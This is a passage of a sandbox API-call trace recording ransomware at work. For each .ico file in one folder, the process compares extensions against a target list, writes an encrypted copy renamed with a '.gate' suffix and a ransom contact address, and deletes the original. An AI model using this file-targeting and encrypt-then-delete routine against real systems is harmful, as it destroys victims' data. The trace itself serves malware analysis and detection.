(lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString=".jpg") returned 4 [0112.078] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString=".doc") returned 4 [0112.078] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.078] lstrlenW (lpString=".docx") returned 5 [0112.078] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0112.078] lstrlenW (lpString=".pdf") returned 4 [0112.078] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString=".xls") returned 4 [0112.078] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString=".xlsx") returned 5 [0112.078] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0112.078] lstrlenW (lpString=".ppt") returned 4 [0112.078] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString=".zip") returned 4 [0112.078] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString=".rar") returned 4 [0112.078] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.078] lstrlenW (lpString=".bz2") returned 4 [0112.079] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.079] lstrlenW (lpString=".7z") returned 3 [0112.079] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.079] lstrlenW (lpString=".dbf") returned 4 [0112.079] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.079] lstrlenW (lpString=".1cd") returned 4 [0112.079] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.079] lstrlenW (lpString=".jpg") returned 4 [0112.079] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.079] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.079] lstrlenW (lpString="Rotate6.ico") returned 11 [0112.079] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0112.097] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0112.097] CloseHandle (hObject=0x358) returned 1 [0112.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0112.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0112.098] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.098] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0112.098] GetLastError () returned 0x0 [0112.098] ReadFile (in: hFile=0x358, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.222] WriteFile (in: hFile=0x35c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0112.223] ReadFile (in: hFile=0x358, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.223] WriteFile (in: hFile=0x35c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0112.223] SetEndOfFile (hFile=0x35c) returned 1 [0112.223] CloseHandle (hObject=0x35c) returned 1 [0112.224] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.224] SetEndOfFile (hFile=0x358) returned 1 [0112.225] CloseHandle (hObject=0x358) returned 1 [0112.225] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.225] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0112.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.226] lstrlenW (lpString=".doc") returned 4 [0112.226] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.226] lstrlenW (lpString=".docx") returned 5 [0112.226] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0112.226] lstrlenW (lpString=".pdf") returned 4 [0112.226] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.226] lstrlenW (lpString=".xls") returned 4 [0112.226] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.226] lstrlenW (lpString=".xlsx") returned 5 [0112.226] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0112.226] lstrlenW (lpString=".ppt") returned 4 [0112.226] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.226] lstrlenW (lpString=".zip") returned 4 [0112.226] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.226] lstrlenW (lpString=".rar") returned 4 [0112.226] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.226] lstrlenW (lpString=".bz2") returned 4 [0112.226] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.226] lstrlenW (lpString=".7z") returned 3 [0112.226] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.226] lstrlenW (lpString=".dbf") returned 4 [0112.226] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.227] lstrlenW (lpString=".1cd") returned 4 [0112.227] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.227] lstrlenW (lpString=".jpg") returned 4 [0112.227] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.227] lstrlenW (lpString=".doc") returned 4 [0112.227] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.227] lstrlenW (lpString=".docx") returned 5 [0112.227] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0112.227] lstrlenW (lpString=".pdf") returned 4 [0112.227] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString=".xls") returned 4 [0112.227] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString=".xlsx") returned 5 [0112.227] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0112.227] lstrlenW (lpString=".ppt") returned 4 [0112.227] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.227] lstrlenW (lpString=".zip") returned 4 [0112.227] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString=".rar") returned 4 [0112.227] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.227] lstrlenW (lpString=".bz2") returned 4 [0112.227] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.227] lstrlenW (lpString=".7z") returned 3 [0112.227] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.228] lstrlenW (lpString=".dbf") returned 4 [0112.228] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.228] lstrlenW (lpString=".1cd") returned 4 [0112.228] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0112.228] lstrlenW (lpString=".jpg") returned 4 [0112.228] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.228] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.228] lstrlenW (lpString="Rotate7.ico") returned 11 [0112.228] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0112.228] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0112.228] CloseHandle (hObject=0x358) returned 1 [0112.228] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0112.229] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0112.229] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.229] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0112.229] GetLastError () returned 0x0 [0112.229] ReadFile (in: hFile=0x358, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.365] WriteFile (in: hFile=0x35c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0112.366] ReadFile (in: hFile=0x358, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.367] WriteFile (in: hFile=0x35c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0112.367] SetEndOfFile (hFile=0x35c) returned 1 [0112.367] CloseHandle (hObject=0x35c) returned 1 [0112.368] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.368] SetEndOfFile (hFile=0x358) returned 1 [0112.369] CloseHandle (hObject=0x358) returned 1 [0112.369] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.369] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0112.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.370] lstrlenW (lpString=".doc") returned 4 [0112.370] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.370] lstrlenW (lpString=".docx") returned 5 [0112.370] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0112.370] lstrlenW (lpString=".pdf") returned 4 [0112.370] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.370] lstrlenW (lpString=".xls") returned 4 [0112.370] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.370] lstrlenW (lpString=".xlsx") returned 5 [0112.370] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0112.370] lstrlenW (lpString=".ppt") returned 4 [0112.370] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.370] lstrlenW (lpString=".zip") returned 4 [0112.370] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.370] lstrlenW (lpString=".rar") returned 4 [0112.370] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.370] lstrlenW (lpString=".bz2") returned 4 [0112.370] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.370] lstrlenW (lpString=".7z") returned 3 [0112.370] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.370] lstrlenW (lpString=".dbf") returned 4 [0112.370] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.371] lstrlenW (lpString=".1cd") returned 4 [0112.371] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.371] lstrlenW (lpString=".jpg") returned 4 [0112.371] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.371] lstrlenW (lpString=".doc") returned 4 [0112.371] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.371] lstrlenW (lpString=".docx") returned 5 [0112.371] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0112.371] lstrlenW (lpString=".pdf") returned 4 [0112.371] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.371] lstrlenW (lpString=".xls") returned 4 [0112.371] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.371] lstrlenW (lpString=".xlsx") returned 5 [0112.371] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0112.371] lstrlenW (lpString=".ppt") returned 4 [0112.371] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.371] lstrlenW (lpString=".zip") returned 4 [0112.371] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.371] lstrlenW (lpString=".rar") returned 4 [0112.371] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.372] lstrlenW (lpString=".bz2") returned 4 [0112.372] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.372] lstrlenW (lpString=".7z") returned 3 [0112.372] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.372] lstrlenW (lpString=".dbf") returned 4 [0112.372] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.372] lstrlenW (lpString=".1cd") returned 4 [0112.372] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0112.372] lstrlenW (lpString=".jpg") returned 4 [0112.372] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.372] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.373] lstrlenW (lpString="Rotate8.ico") returned 11 [0112.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0112.488] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0112.488] CloseHandle (hObject=0x350) returned 1 [0112.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0112.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0112.489] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.489] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0112.490] GetLastError () returned 0x0 [0112.490] ReadFile (in: hFile=0x350, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0113.087] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0113.088] ReadFile (in: hFile=0x350, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.088] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0113.089] SetEndOfFile (hFile=0x32c) returned 1 [0113.089] CloseHandle (hObject=0x32c) returned 1 [0113.089] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.089] SetEndOfFile (hFile=0x350) returned 1 [0113.090] CloseHandle (hObject=0x350) returned 1 [0113.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.090] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0113.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.091] lstrlenW (lpString=".doc") returned 4 [0113.091] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.091] lstrlenW (lpString=".docx") returned 5 [0113.091] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0113.091] lstrlenW (lpString=".pdf") returned 4 [0113.091] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.091] lstrlenW (lpString=".xls") returned 4 [0113.091] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.091] lstrlenW (lpString=".xlsx") returned 5 [0113.091] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0113.091] lstrlenW (lpString=".ppt") returned 4 [0113.091] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.091] lstrlenW (lpString=".zip") returned 4 [0113.091] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.091] lstrlenW (lpString=".rar") returned 4 [0113.091] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.091] lstrlenW (lpString=".bz2") returned 4 [0113.091] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.091] lstrlenW (lpString=".7z") returned 3 [0113.091] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString=".dbf") returned 4 [0113.092] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString=".1cd") returned 4 [0113.092] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString=".jpg") returned 4 [0113.092] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString=".doc") returned 4 [0113.092] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.092] lstrlenW (lpString=".docx") returned 5 [0113.092] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0113.092] lstrlenW (lpString=".pdf") returned 4 [0113.092] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString=".xls") returned 4 [0113.092] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString=".xlsx") returned 5 [0113.092] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0113.092] lstrlenW (lpString=".ppt") returned 4 [0113.092] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.092] lstrlenW (lpString=".zip") returned 4 [0113.092] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString=".rar") returned 4 [0113.092] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.092] lstrlenW (lpString=".bz2") returned 4 [0113.092] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.093] lstrlenW (lpString=".7z") returned 3 [0113.093] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.093] lstrlenW (lpString=".dbf") returned 4 [0113.093] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.093] lstrlenW (lpString=".1cd") returned 4 [0113.093] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0113.093] lstrlenW (lpString=".jpg") returned 4 [0113.093] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.093] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0113.093] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0113.093] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 